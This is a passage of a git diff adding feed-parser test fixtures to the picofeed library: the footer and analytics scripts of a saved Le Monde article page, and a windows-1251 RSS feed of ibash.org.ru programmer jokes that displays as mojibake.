+ <li>&rsaquo; <a href="http://sortir.telerama.fr/paris/boutiques.php" target="_blank">Boutiques &agrave; Paris</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/festival-de-cannes/" target="_blank">Cannes 2013</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/livres/livre_prefredaction.php" target="_blank">S&eacute;lection de livres</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/cine/film_datesortie.php" target="_blank">Bande annonce</a></li>
+ <li>&rsaquo; <a href="http://television.telerama.fr/tele/liste_chaines.php" target="_blank">Programme chaine tv</a></li>
+</ul>
+
+<ul class="liens_partenaires">
+ <li>&rsaquo; <a href="http://boutique.telerama.fr/index.php/hors-series.html" target="_blank">Hors-s&eacute;rie</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/musique/" target="_blank">Musique</a></li>
+ <li>&rsaquo; <a href="http://television.telerama.fr/tele/chaine-tv/m6,118.php" target="_blank">Programme TV de M6 en replay</a></li>
+ <li>&rsaquo; <a href="http://recherche.telerama.fr/recherche/recherche_salles.php?ecrivez=gaumont" target="_blank">Cin&eacute;ma Gaumont</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/tag/ma-vie-au-poste/" target="_blank">Blog TV</a></li>
+</ul>
+
+ </div>
+ <div>
+ <span class="titre">Les sites du Groupe</span>
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzX3RlbGVyYW1hLmh0bWw=" class="obf">Télérama.fr</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzX3RhbGVudHMuaHRtbA==" class="obf">Talents.fr</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5odWZmaW5ndG9ucG9zdC5mci8=" class="obf">Le Huffington Post</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5jb3VycmllcmludGVybmF0aW9uYWwuY29tLw==" class="obf">CourrierInternational.com</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5tb25kZS1kaXBsb21hdGlxdWUuZnIv" class="obf">Monde-Diplomatique.fr</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlcHJvLmNvbS8=" class="obf">Les Rencontres professionnelles Le Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5zZGxsZW1vbmRlLmZyLw==" class="obf">La Société des lecteurs du Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2tpb3NxdWUvcmVjaGVyY2hlLw==" class="obf">Le Prix Le Monde de la recherche</span> </div>
+ </div>
+
+ <div class="footer_bas">
+ <p class="sociaux">
+ <span>Suivez-nous</span>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5mYWNlYm9vay5jb20vbGVtb25kZS5mcg==" class="fb20x20 obf">Facebook</span><span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="tw20x20 obf">Twitter</span><span data-href="aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK0xlTW9uZGVmcg==" class="google20x20 obf">Google+</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vYmlsZS8=" class="mobile20x20 obf">Mobile</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Jzcy8=" class="rss20x20 obf">RSS</span> </p>
+ <p class="lien_nl">
+ <a class="nl js_trigger_login_register" data-route="newsletters" href="https://wwws.lemonde.fr/account/?route=newsletters">Recevez nos newsletters<span>&nbsp;</span></a>
+ </p>
+ <p class="index">
+ Index actualité : <a href="/index-rubriques/A/">A</a> <a href="/index-rubriques/B/">B</a> <a href="/index-rubriques/C/">C</a> <a href="/index-rubriques/D/">D</a> <a href="/index-rubriques/E/">E</a> <a href="/index-rubriques/F/">F</a> <a href="/index-rubriques/G/">G</a> <a href="/index-rubriques/H/">H</a> <a href="/index-rubriques/I/">I</a> <a href="/index-rubriques/J/">J</a> <a href="/index-rubriques/K/">K</a> <a href="/index-rubriques/L/">L</a> <a href="/index-rubriques/M/">M</a> <a href="/index-rubriques/N/">N</a> <a href="/index-rubriques/O/">O</a> <a href="/index-rubriques/P/">P</a> <a href="/index-rubriques/Q/">Q</a> <a href="/index-rubriques/R/">R</a> <a href="/index-rubriques/S/">S</a> <a href="/index-rubriques/T/">T</a> <a href="/index-rubriques/U/">U</a> <a href="/index-rubriques/V/">V</a> <a href="/index-rubriques/W/">W</a> <a href="/index-rubriques/X/">X</a> <a href="/index-rubriques/Y/">Y</a> <a href="/index-rubriques/Z/">Z</a>
+ </p>
+ </div>
+
+ <p class="copy">
+ &copy;
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvbGljZW5jZV9ldF9kcm9pdHNfZGVfcmVwcm9kdWN0aW9uLmh0bWw=" class="obf">Le Monde.fr</span> |
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5vamQtaW50ZXJuZXQuY29tL2NoaWZmcmVz" class="obf">Fréquentation certifiée par l'OJD</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvY29uZGl0aW9uc19nZW5lcmFsZXNfZGVfdmVudGUuaHRtbA==" class="obf">CGV</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvbWVudGlvbnNfbGVnYWxlcy5odG1s" class="obf">Mentions légales</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzLmh0bWw=" class="obf">Qui sommes-nous ?</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2FjdHVhbGl0ZS1tZWRpYXMvYXJ0aWNsZS8yMDEwLzExLzAzL2xhLWNoYXJ0ZS1kLWV0aGlxdWUtZXQtZGUtZGVvbnRvbG9naWUtZHUtZ3JvdXBlLWxlLW1vbmRlXzE0MzQ3MzdfMzIzNi5odG1s" class="obf">Charte groupe</span> |
+ <span data-target="_blank" data-href="aHR0cDovL21wdWJsaWNpdGUuZnI=" class="obf">Publicité</span> |
+ <a href="/sitemap/afficher_index/index.html">Index</a> |
+ <span>Aide</span> :
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxLmh0bWw=" class="obf">FAQ web</span> - <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxXzYyNTczMy5odG1s" class="obf">FAQ abo</span> - <span data-target="_blank" data-href="aHR0cDovL21vbmFiby5sZW1vbmRlLmZyL2ZhcS8=" class="obf">FAQ journal</span> - <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxXzExMDkyODkuaHRtbA==" class="obf">FAQ mobile</span> </p>
+<p class="description">Journal d'information en ligne, Le Monde.fr offre à ses visiteurs un panorama complet de
+ l'actualité. Découvrez chaque jour toute l'info en direct (de la politique à l'économie en passant par le sport et la
+ météo) sur Le Monde.fr, le site de news leader de la presse française en ligne.</p></div>
+<div class="clear">&nbsp;</div>
+
+<script>
+require(["jquery","lib/require/plugin/domReady","lmd/ui/liens-partenaires"],function(c,a,b){a(function(){b.parse()})});
+</script>
+
+ <div id="bandeau_bas">
+ <div class="conteneur_en_continu"><a href="/actualite-en-continu" class="tetiere">En Continu</a>
+
+</div>
+ <div class="conteneur_lives"></div>
+ <div class="conteneur_alerte invisible"></div>
+</div>
+
+<script>
+require(["jquery","lmd/module/alerte"],function(b,a){new a({$el:b("#bandeau_bas .conteneur_alerte")})});
+require(["jquery","lmd/module/encontinu"],function(b,a){new a({$el:b("#bandeau_bas .conteneur_en_continu")})});
+require(["jquery","lmd/module/lives"],function(b,a){(new a).attach("#bandeau_bas .conteneur_lives")});
+</script>
+
+ </div><!--/body-publicite-->
+ <div class="position_pub" data-adformat="dhtml" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21487">
+ <script>
+ //sas_manager.render(21487);
+ ADVERT_AD(['50270/361621', 21487, '', 'dhtml']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21487/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21487/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+<script src="//s1.lemde.fr/medias/web/1.2.652/js/lmd/core/advert/sync.js"></script>
+<script>
+ lmd.context.page.advert.adblock=!0;
+ "smartadserver" === lmd.context.page.advert.adserver && lmd.advertController && lmd.advertController.buildAll(lmd.context.page.advert.smart.page);
+</script>
+<script>require(["lmd/core/advert/widget-position"], function(a) { a.init(); });</script> <script>
+require(["lmd/module/marketing/offre-decouverte-zen"], function(offreDecouverteZen) {
+ offreDecouverteZen.getInstance();
+});
+</script>
+
+
+<div id="xiti-logo">
+<script>
+xtnv=document;xtsd="http:"===document.location.protocol?"http://logc2":"https://logs13";xtsite=lmd.context.page.xiti.xtsite;xtn2=lmd.context.page.xiti.xtn2;xtcustom=lmd.context.page.xiti.xtcustom;xtpage=lmd.context.page.xiti.xtpage;xt_tag=lmd.context.page.xiti.xt_tag;xtergo=lmd.context.page.xiti.xtergo?"1":"0";xtdi="";xt_multc=lmd.context.page.xiti.xt_multc;null===xt_multc&&(xt_multc="");null!=xt_tag&&(window.xtparam=null!=window.xtparam?window.xtparam+("&tag="+xt_tag):"&tag="+xt_tag);
+xt_an=xt_ac="";
+(function(b,c){var f=function(a){var b,d=function(){require(["lmd/module/xiti/hit"],function(a){a.has_hit("Ad_Block::Actif")||a.hit(this,"C","0","Ad_Block::Actif","A")})};void 0!==a.context.page.advert.adblock&&!0===a.context.page.advert.adblock?void 0===a.advertController?(b=1,d()):b=2:b=4;void 0!==a.requirejs&&1!==b&&a.requirejs.addHandler(function(){d()},(void 0!==a.context.page.advert.smart.domain?a.context.page.advert.smart.domain:"")+"/call2/pubjallajax/",!0);return{status:b}}(c),e=function(a,
+b){var d=function(a,b){var d=a.readyState;if(!d||"complete"==d||"loaded"==d)try{b.apply(this)}catch(c){}},l=function(a,b){var c=document.createElement("script");c.type="text/javascript";c.async=!1;c.src=a;"function"===typeof b&&(c.addEventListener?c.addEventListener("load",function(){d(c,b)}):c.attachEvent&&c.attachEvent("onreadystatechange",function(){d(c,b)}));(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.getElementsByTagName("script")[0].parentNode).insertBefore(c,
+null)},e=function(){l(c.conf.medias.location.base_url_version+"/js/lib/xiti/4.4.007/xtcore.js",function(){require(["lmd/module/xiti/hit"],function(b){b.resolve()})})};return{init:function(){if(void 0===a.xtparam||null===a.xtparam)a.xtparam="";a.xtparam+="&ac="+a.xt_ac+"&an="+a.xt_an+a.xt_multc+"&x4="+b.status;l(c.conf.medias.location.base_url_version+"/js/lib/xiti/4.4.007/xtclicks.js",e)}}}(b,f),g=!1,h=!1,k=!1;if("undefined"===typeof c||""===c)e.init();else{void 0!==c.context&&null!==c.context&&void 0!==
+c.context.element&&null!==c.context.element&&void 0!==c.context.element.restreint&&(h=!0,g=c.context.element.restreint);if(-1<navigator.userAgent.toLowerCase().indexOf("google")||-1<navigator.userAgent.toLowerCase().indexOf("msnbot")||-1<navigator.userAgent.toLowerCase().indexOf("yahoo!")||-1<document.referrer.toLowerCase().indexOf("google")||-1<document.referrer.toLowerCase().indexOf("bing.com")||-1<document.referrer.toLowerCase().indexOf("search.yahoo"))k=!0;f=(document.cookie.match("(^|; )tdb_user_id=([^;]*)")||
+0)[2];void 0===f||""===f?(h&&(b.xt_multc+="&x8="+(g?k?"25":"24":"13")),sessionStorage&&sessionStorage.getItem("x9")&&(b.xt_multc+="&x9="+sessionStorage.getItem("x9"),sessionStorage.removeItem("x9")),e.init()):require(["jquery","lmd/core/auth"],function(a,f){f.loadUser().done(function(){var d;d=f.user;null!==d?(b.xt_an=0<d.id?d.id:"","inscrit"===d.type?(b.xt_ac="INSCRIT",h?(d={item_id:c.context.element.id},a.getJSON("/ws/1/restreint/verif_item/",d).done(a.proxy(function(a){a=null!==a.url&&0<a.url.length;
+b.xt_multc+="&x8="+(g?k?"25":a?"23":"24":"13");e.init()},this))):e.init()):"abonne"===d.type&&null!==d.classe_abonnement&&(b.xt_ac=d.classe_abonnement,h&&(b.xt_multc+="&x8="+(g?"23":"13")),e.init())):e.init()})})}})(this,lmd);
+</script>
+<object>
+ <noscript>
+ <img width="1" height="1" alt="" src="http://logc2.xiti.com/hit.xiti?s=43260&s2=48&p=international/europe::aux_yeux_de_kiev_l_est_de_l_ukraine_n_est_pas_la_crimee&di=&an=&ac=&x1=&x2=article&x3=le_monde_fr&x4=3" >
+ </noscript>
+</object>
+</div>
+
+<script>if(lmd.conf.fsw.google_analytics){var _gaq=_gaq||[];_gaq.push(["_setAccount","UA-15394037-2"]);_gaq.push(["_setDomainName",".lemonde.fr"]);_gaq.push(["_trackPageview"]);_gaq.push(["_trackPageLoadTime"]);var ga_src_require=('https:' == document.location.protocol) ? 'https://ssl' : 'http://www';require([ga_src_require+".google-analytics.com/ga.js"]);}</script>
+
+<script>lmd.conf.fsw.ezakus&&lmd.onload(function(){require(["lmd/core/advert/ezakus"],function(a){a.init()})});</script>
+<script>if(lmd.conf.fsw.chartbeat){_sf_async_config={uid:12231,domain:"lemonde.fr"};lmd.onload(function(){window._sf_endpt=(new Date).getTime();require([document.location.protocol+"//static.chartbeat.com/js/chartbeat.js"])});}</script>
+
+<script>if(lmd.conf.fsw.cedexis && document.location.protocol !== 'https:'){radarSettings={zoneId:"1",customerId:"10013"};lmd.onload(function(){require(["http://radar.cedexis.com/01-10013-radar10.min.js"])});}</script>
+
+<script>lmd.conf.fsw.echange_vu&&lmd.onload(function(){require(["lmd/core/metrics/echange-vu"],function(a){a.init()})});</script>
+<script>lmd.conf.fsw.ownpage && lmd.onload(function(){ require(['lmd/core/metrics/ownpage'], function(op){ op.init(); }); });</script>
+
+<script>
+lmd.conf.fsw.webvisor && lmd.onload(function() {
+ (window.yandex_metrika_callbacks = window.yandex_metrika_callbacks || []).push(function() {
+ try {
+ window.yaCounter24317818 = new Ya.Metrika({
+ id:24317818,
+ webvisor:true,
+ clickmap:true,
+ trackLinks:true,
+ accurateTrackBounce:true
+ });
+ }
+ catch(e) {}
+ });
+ require([(document.location.protocol === "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js"]);
+});
+</script>
+<noscript><div><img src="//mc.yandex.ru/watch/24317818" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
+
+<script> require(['lmd/core/footer-tracking']); </script>
+
+
+</body>
+</html>
+
+<!--Rosae 2014/04/15 23:20:45 4.09 29.63 web7-www5:24291:2.9 httpfront--> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/ibash.ru.xml b/vendor/fguillot/picofeed/tests/fixtures/ibash.ru.xml
new file mode 100644
index 000000000..20818858c
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/ibash.ru.xml
@@ -0,0 +1,359 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<rss version="2.0">
+ <channel>
+ <title>iBash.Org.Ru</title>
+ <link>http://ibash.org.ru/</link>
+ <description>Íîâûé öèòàòíèê Ðóíåòà</description>
+ <language>ru</language>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16099</guid>
+ <link>http://ibash.org.ru/quote.php?id=16099</link>
+ <title>Öèòàòà #16099</title>
+ <pubDate>Thu, 27 Jun 2013 20:18:31 +0400</pubDate>
+ <description><![CDATA[Õàáð, îáñóæäåíèå ôåéëîâ íà ðàáîòå: reaferon: Èíòåðíåò-ìàãàçèí ñ îáîðîòîì áîëåå 1 ìëí. â ìåñÿö. Ïðè îêðóãëåíèè öåíû äî äâóõ çíàêîâ ïîñëå çàïÿòîé: $price = round($price,2); áûëà äîïóùåíà äîñàäíàÿ îïå÷àòêà $price = rand($price,2);]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16102</guid>
+ <link>http://ibash.org.ru/quote.php?id=16102</link>
+ <title>Öèòàòà #16102</title>
+ <pubDate>Thu, 27 Jun 2013 20:17:16 +0400</pubDate>
+ <description><![CDATA[&lt;spotty&gt;:Îáîðóäîâàííûé äëèííîé äåðåâÿííîé ëèíåéêîé ñåðâîïðèâîä ñ íåñíèìàåìûì êðåïëåíèåì ê òîðöó ñòàíäàðòíîé PC êëàâèàòóðû, óïðàâëåíèåì ïî SSH è âîçìîæíîñòüþ çàäàíèÿ òðèããåðîâ ñðàáàòûâàíèÿ - âòîðîé ïî íåîáõîäèìîñòè (ïîñëå TeamViewer) ïðîäóêò â äåÿòåëüíîñòè ëþáîãî IT - ñåðâèñà.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16103</guid>
+ <link>http://ibash.org.ru/quote.php?id=16103</link>
+ <title>Öèòàòà #16103</title>
+ <pubDate>Thu, 27 Jun 2013 20:16:56 +0400</pubDate>
+ <description><![CDATA[Ñ õàáðà (î òåõíîëîãèè óëàâëèâàíèÿ æåñòîâ ÷åëîâåêà ïî WiFi): <br />Àêòèâàöèÿ ðåñèâåðà, WiSee, ïðîâîäèòñÿ ñïåöèàëüíûì æåñòîì, èçâåñòíûì òîëüêî ïîëüçîâàòåëþ. <br />Yavi: Âàø æåñò íåäîñòàòî÷íî áåçîïàñåí, èñïîëüçóéòå íå ìåíåå 2-õ ñàëüòî è ïîçó èç éîãè.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16104</guid>
+ <link>http://ibash.org.ru/quote.php?id=16104</link>
+ <title>Öèòàòà #16104</title>
+ <pubDate>Thu, 27 Jun 2013 20:16:31 +0400</pubDate>
+ <description><![CDATA[ñ õàáðà: <br />Senecarus: Ëþáîé ïðîôåññèîíàë âñåãäà â äåôèöèòå. Õîðîøèé ñàíòåõíèê ñåé÷àñ çàðàáàòûâàåò áîëüøå ÷åì ðóêîâîäèòåëü IT äåïàðòàìåíòà. Áåç øóòîê, ýòî ÿ íà ñîáñòâåííîé øêóðå ïðî÷óâñòâîâàë. <br />therussianphysicist: Ðåìîíò óíèòàçà, â îòëè÷èå îò ñîçäàíèÿ è ïîääåðæêè ñàéòà, íåëüçÿ îòäàòü íà àóòñîðñ â Èíäèþ.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16110</guid>
+ <link>http://ibash.org.ru/quote.php?id=16110</link>
+ <title>Öèòàòà #16110</title>
+ <pubDate>Thu, 27 Jun 2013 20:09:59 +0400</pubDate>
+ <description><![CDATA[Ñåãîäíÿ ðàçáèðàë ïî÷òîâûé ÿùèê è îáíàðóæèë ïðåêðàñíîå: <br /> <br />Date: Mon, 10 Jun 2013 09:29:32 +0400 <br />From: &quot;ñâÿù. Ãåîðãèé Ãîëüöîâ&quot; &lt;gg at orthoschool.ru&gt; <br />To: Gao feng &lt;gaofeng at cn.fujitsu.com&gt; <br />Subject: Re: [libvirt-users] libvirt_lxc and sysfs <br /> <br />À åù¸ ãîâîðÿò, ÷òî Linux - ñèñòåìà íåïðàâîñëàâíàÿ.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16116</guid>
+ <link>http://ibash.org.ru/quote.php?id=16116</link>
+ <title>Öèòàòà #16116</title>
+ <pubDate>Thu, 27 Jun 2013 20:06:25 +0400</pubDate>
+ <description><![CDATA[&gt;&gt; Åù¸ îäíèì âàðèàíòîì ïîäêëþ÷åíèÿ ïóëüòà ê êîìïüþòåðó ñ ÀÐÌ ÿâëÿåòñÿ èñïîëüçîâàíèå âîëî- êîííî- îïòè÷åñêîé ëèíèè ñâÿçè...]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16117</guid>
+ <link>http://ibash.org.ru/quote.php?id=16117</link>
+ <title>Öèòàòà #16117</title>
+ <pubDate>Thu, 27 Jun 2013 20:05:59 +0400</pubDate>
+ <description><![CDATA[xxx: Îêàçàëîñü, íå òàê ñòðàøíà íàéäåííàÿ â äîñòàâøåéñÿ â íàñëåäñòâî áèáëèîòåêå êíèæêà &quot;Ìèð Ëèñïà&quot;... <br />xxx: ...êàê äàðñòâåííàÿ íàäïèñü &quot;Ìàðèíî÷êà, ïîçäðàâëÿåì òåáÿ ñ 14-ëåòèåì!&quot; íà å¸ îáëîæêå]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16118</guid>
+ <link>http://ibash.org.ru/quote.php?id=16118</link>
+ <title>Öèòàòà #16118</title>
+ <pubDate>Thu, 27 Jun 2013 20:05:36 +0400</pubDate>
+ <description><![CDATA[&lt;Cancel&gt; ne_formal, ÿ Êíóòà ïðîäàì. <br />&lt;Cancel&gt; Äâà ïåðâûõ òîìà. <br />&lt;Cancel&gt; Îíè íàõåð íå íóæíû âîîáùå. <br />&lt;pimiento[]&gt; Cancel: èìè õîðîøî êàïóñòó ïðèæèìàòü, ïîäè]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16119</guid>
+ <link>http://ibash.org.ru/quote.php?id=16119</link>
+ <title>Öèòàòà #16119</title>
+ <pubDate>Thu, 27 Jun 2013 20:05:28 +0400</pubDate>
+ <description><![CDATA[Kwull: Ñîâñåì íå ïàðàíîèêè åãî ñîñåäè ïî èíô. áåçîïàñíîñòè, ðàç çà 20 ìèíóò ïîäîáðàë 6-è ñèìâîëüíûé ïàðîëü. <br />Ìîé ïàðîëü èç 63 ñèìâîëîâ çàïàðèòüñÿ åìó ïîäáèðàòü <br />Dim0FF: Ó êîãî òàì Êóáîê Ïàðàíîèêà? Ïåðåäàéòå, ïîæàëóéñòà, ÷åëîâåêó. <br />librarian: Íå âîçüì¸ò, à âäðóã òàì òðîÿíû.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16125</guid>
+ <link>http://ibash.org.ru/quote.php?id=16125</link>
+ <title>Öèòàòà #16125</title>
+ <pubDate>Thu, 27 Jun 2013 20:00:59 +0400</pubDate>
+ <description><![CDATA[Ñ ôîðóìà òåìà ïðî ðàçíèöó â ôîðìàòàõ êîäèðîâàíèÿ: <br />ash: îáúÿñíè ìíå ðàçíèöó ìåæäó Lossless è îáû÷íûìè ôîðìàòàìè? <br /> Burillo: íó âîò ñìîòðè, ïðåäïîëîæèì òû ñæàë ñòèõîòâîðåíèå Ïóøêèíà <br /> ash: íó? <br /> Burillo: ïðè äåêîìïðåññèè â ñëó÷àå Lossless ïîëó÷èòüñÿ &quot;Ó Ëóêîìîðüÿ äóá çåë¸íûé, çëàòàÿ öåïü íà äóáå òîì&quot;, à â ñëó÷àå ñ mp3 - &quot;Íó òèïà äåðåâî ñòîÿëî, òèïà ÷åòî íà í¸ì âèñåëî&quot;]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16131</guid>
+ <link>http://ibash.org.ru/quote.php?id=16131</link>
+ <title>Öèòàòà #16131</title>
+ <pubDate>Thu, 27 Jun 2013 19:59:27 +0400</pubDate>
+ <description><![CDATA[xxx: ïðåïîä â óíèâåðå ðàññêàçàë, ÷òî â ãðóïïà ôðèëàíñåðîâ â íàøåì ãîðîäêå íàïèñàëà 2 òåððàáàéòà ÷èñòîãî êîäà <br />xxx: ïîõîäó ÿ çíàþ ãäå èñêàòü Àðõèòåêòîðà ìàòðèöû]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16133</guid>
+ <link>http://ibash.org.ru/quote.php?id=16133</link>
+ <title>Öèòàòà #16133</title>
+ <pubDate>Thu, 27 Jun 2013 19:58:45 +0400</pubDate>
+ <description><![CDATA[&lt;maksbotan&gt; ÿ, êñòàòè, ñåññèþ íà 4555 çàêðûë <br />&lt;qnikst&gt; ñòðàííûé ïîðò êàêîé-òî..]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16085</guid>
+ <link>http://ibash.org.ru/quote.php?id=16085</link>
+ <title>Öèòàòà #16085</title>
+ <pubDate>Sat, 01 Jun 2013 09:38:09 +0400</pubDate>
+ <description><![CDATA[×òî áûñòðåå íàéòè íà ñàéòå çíàêîìñòâ? <br /> <br />a) Ñèìïàòè÷íóþ íå ãëóïóþ äåâóøêó. <br />á) SQL Injection.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16086</guid>
+ <link>http://ibash.org.ru/quote.php?id=16086</link>
+ <title>Öèòàòà #16086</title>
+ <pubDate>Sat, 01 Jun 2013 09:38:01 +0400</pubDate>
+ <description><![CDATA[óáèéöà_õîìÿêîâ: Ïîñëå òîãî êàê ïåðåøåë íà ýòîò äèñòð áðîñèë ïèòü, âåðíóëàñü æåíà è âûèãðàë â ëîòòî! <br /> Ðåêîìåíäóþ ïàñàíû! <br />rtkgh: Âûèãðàë â ëîòî, ïðèøëà æåíà, ïðèøëîñü áðîñèòü ïèòü. <br /> <br /> <br />(opennet.ru)]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16093</guid>
+ <link>http://ibash.org.ru/quote.php?id=16093</link>
+ <title>Öèòàòà #16093</title>
+ <pubDate>Sat, 01 Jun 2013 09:36:23 +0400</pubDate>
+ <description><![CDATA[Êàê-òî íà stackoverflow áûë çàäàí âîïðîñ, êàê â ìèíèìóì êîäà ïîëó÷èòü èñêëþ÷åíèå OutOfMemoryException (.net)? Ðåáÿòà ñòàðàëèñü, ïûòàëèñü ñîçäàòü áåñêîíå÷íóþ ñòðîêó, íî ïîáåäèë òàêîé îòâåò: <br />throw new OutOfMemoryException();]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=16094</guid>
+ <link>http://ibash.org.ru/quote.php?id=16094</link>
+ <title>Öèòàòà #16094</title>
+ <pubDate>Sat, 01 Jun 2013 09:35:56 +0400</pubDate>
+ <description><![CDATA[Ïî÷òà Ðîññèè - îíà êàê UDP - ïîñûëêà ìîæåò âíåçàïíî ïðèéòè ïîñëå ïóòåøåñòâèÿ ïî êó÷å ñîðòèðîâî÷íûõ ñòàíöèé, à ìîæåò ïîòåðÿòüñÿ ïî äîðîãå.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15616</guid>
+ <link>http://ibash.org.ru/quote.php?id=15616</link>
+ <title>Öèòàòà #15616</title>
+ <pubDate>Wed, 01 May 2013 11:52:43 +0400</pubDate>
+ <description><![CDATA[×åì ìíå íðàâèòñÿ ïðîãðàììèðîâàíèå íà C, òàê ýòî òåì, ÷òî êàêîé ôàéë áû òû íè îòêðûë, âñåãäà åñòü ÷òî óëó÷øèòü. Òî òàì â ñèãíàòóðå int íà void ïîìåíÿòü, òî çäåñü const äîáàâèòü, òî òóò __attribute__((unused)) âêðÿ÷èòü. Âõîæäåíèå â ïîòîê îáëåã÷àåòñÿ òåì, ÷òî ìîæíî ïðîñòî ñåñòü, îòêðûòü ëþáîé ôàéë è ìîìåíòîì âòÿíóòüñÿ â ðàáîòó. Ïîòîìó ÷òî íåçàâèñèìî îò òîãî, ÷òî òàì ó òåáÿ íàïèñàíî, êîïàòü ýòî ãîâíèùå ìîæíî ñ ëþáîé ñòîðîíû. (c) lionet]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15770</guid>
+ <link>http://ibash.org.ru/quote.php?id=15770</link>
+ <title>Öèòàòà #15770</title>
+ <pubDate>Wed, 01 May 2013 11:35:23 +0400</pubDate>
+ <description><![CDATA[*Ireul äîáàâëÿåò ê &quot;ñïèñêó âåùåé, çà êîòîðûìè ìîæíî íàáëþäàòü âå÷íî&quot; - &quot;ñìîòðåòü, êàê ôëåø-ïðîãðàììèñò ïåðåâîäèò ãóãë-òðàíñëåòéòîì ìàíû ê git-flow è îò÷àÿííî ïûòàåòñÿ âíèêíóòü â ðåçóëüòàò&quot;.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15777</guid>
+ <link>http://ibash.org.ru/quote.php?id=15777</link>
+ <title>Öèòàòà #15777</title>
+ <pubDate>Wed, 01 May 2013 11:33:29 +0400</pubDate>
+ <description><![CDATA[&lt;Yuri&gt; [OZK]Pupkin: Ñëûøàë ? Ó &quot;Ïî÷òà Ðîññèè&quot; ïîÿâèëàñü ÈÒ-ñòðàòåãèÿ ! <br />&lt;[OZK]Pupkin&gt; Yuri: RFC 1149 - áóäóò âíåäðÿòü, íåèíà÷å.]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15833</guid>
+ <link>http://ibash.org.ru/quote.php?id=15833</link>
+ <title>Öèòàòà #15833</title>
+ <pubDate>Wed, 01 May 2013 11:29:07 +0400</pubDate>
+ <description><![CDATA[xxx: âñå çíàþò êàê ñëîæíî ÷åëîâåêó â âîçðàñòå îáúÿñíèòü, ÷òî ó ÿíäåêñ - ýòî íå áðàóçåð, à áðàóçåð ó íåãî IE. <br />âíîâü ñòîëêíóëñÿ ñ ýòèì, è â ìîìåíò îáúÿñíåíèÿ ïî òåëåâèçîðó ðåêëàìà: íîâûé áðàóçåð ÿíäåêñ............ <br />ÿíäåêñ, ÿ âàñ íåíàâèæó!!!!]]></description>
+ </item>
+ <item>
+ <guid>http://ibash.org.ru/quote.php?id=15840</guid>
+ <link>http://ibash.org.ru/quote.php?id=15840</link>
